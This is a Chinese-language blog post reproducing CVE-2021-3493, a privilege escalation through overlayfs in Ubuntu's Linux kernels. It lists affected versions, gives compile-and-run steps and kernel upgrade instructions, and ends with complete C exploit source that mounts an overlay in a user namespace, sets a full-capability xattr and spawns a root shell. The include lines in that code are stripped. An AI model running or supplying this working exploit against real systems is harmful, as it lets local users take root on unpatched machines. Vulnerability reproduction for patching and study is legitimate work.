漏洞复现 CVE-2021-3493——Linux kernel 特权提升 +升级ubuntu内核的方法 (附exp)

1、漏洞简述

linux kernel一般指Linux内核。Linux是一种开源电脑操作系统内核。它是一个用C语言写成,符合POSIX标准的类Unix操作系统。

Linux内核中overlayfs文件系统中的Ubuntu特定问题,它未正确验证关于用户名称空间的文件系统功能的应用。

由于Ubuntu附带了一个允许非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来获得更高的特权。

 

2、影响版本

Ubuntu 20.10

Ubuntu 20.04 LTS

Ubuntu 18.04 LTS

Ubuntu 16.04 LTS

Ubuntu 14.04 ESM

( 主要Linux内核 低于 5.11 的都可以尝试漏洞利用 )

 

3、漏洞复现

利用虚拟机搭建 Ubuntu  20.04 环境

先查看ubuntu 的内核版本 

方法一:uname  -r 

方法二:uname -a         

方法三:cat /proc/version

方法四: dmesg | grep Linux

漏洞复现 CVE-2021-3493——Linux kernel 特权提升 +升级ubuntu内核的方法 (附exp)_第1张图片

编译exploit.c,赋予执行权限,然后执行

gcc exploit.c -o exploitchmod +x exploit./exploit

whoami: 显示当前用户的用户名              

who:显示当前真正登录系统中的用户

可以看到 真正登录系统的用户是learn,但显示当前用户名 却是 root  ,提权成功。

漏洞复现 CVE-2021-3493——Linux kernel 特权提升 +升级ubuntu内核的方法 (附exp)_第2张图片

 

4、修复建议

更新Linux内核至5.11
 

方法 1 - 用 apt-get 来升级 Linux 内核  ( 推荐 )

这种方法会从 Ubuntu 官方仓库下载、安装内核版本

要升级包括内核的整个系统,只需要执行:

$sudo apt-get  update

$sudo apt-get  upgrade

如果只希望升级内核,运行:

$sudo apt-get upgrade  linux-image-generic

优势: 简单。推荐方法。

注意:需要联网

方法 2- 使用 dpkg 升级 Linux 内核 ( 手动方式 )

这个方法可以帮助你从 kernel.ubuntu.com 网站手动下载可用的最新 Linux 内核。

方法 3 - 使用 Ukuu 升级 Linux 内核

Ukuu是一个 Gtk GUI 和命令行工具,它可以从 kernel.ubuntu.com 下载最新的 Linux 主线内核,并自动安装到你的 Ubuntu 桌面版和服务器版中。

Ukku 不仅简化了手动下载和安装新内核的过程,同时也会帮助你安全地移除旧的和不再需要的内核。

方法 4 - 使用 UKTools 升级 Linux 内核

跟 Ukuu 差不多,UKTools 也会从 kernel.ubuntu.com 网站获取最新的稳定内核并且自动安装到 Ubuntu 以及类似于 Linux Mint 的延伸发行版中。

方法 5 - 使用 Linux 内核实用程序更新 Linux 内核

Linux 内核实用程序是目前另一个用于升级类 Ubuntu 系统 Linux 内核的程序。实质上,它是一个由一系列 Bash 脚本构成的合集,

用于编译并且可以选择性地为 Debian(LCTT 译注:Ubuntu 的上游发行版)及其衍生发行版升级内核。它包含三个实用程序,一个用于手动编译、

安装来自于 http://www.kernel.org 网站的源码内核,另一个用于安装来自 https://kernel.ubuntu.com 网站的预编译的内核,第三个脚本用于移除旧内核。

 

5、EXP

#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

//#include
//#include
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);


#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"


static void xmkdir(const char *path, mode_t mode)
{
    if (mkdir(path, mode) == -1 && errno != EEXIST)
        err(1, "mkdir %s", path);
}

static void xwritefile(const char *path, const char *data)
{
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);
    close(fd);
}

static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
    int fi, fo;

    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);

    char buf[4096];
    ssize_t rd, wr;

    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
            break;
        } else if (rd == -1) {
            if (errno == EINTR)
                continue;
            err(1, "read %s", src);
        }

        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                    continue;
                err(1, "write %s", dst);
            }
            p += wr;
            rd -= wr;
        }
    }

    close(fi);
    close(fo);
}

static int exploit()
{
    char buf[4096];

    sprintf(buf, "rm -rf '%s/'", DIR_BASE);
    system(buf);

    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");

    xwritefile("/proc/self/setgroups", "deny");

    sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    xwritefile("/proc/self/gid_map", buf);

    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);

    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);

    return 0;
}

int main(int argc, char *argv[])
{
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        setuid(0);
        setgid(0);
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");
    }

    pid_t child = fork();
    if (child == -1)
        err(1, "fork");

    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0);
    }

    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);
}
 

你可能感兴趣的:(漏洞复现,安全漏洞,安全,ubuntu,内核)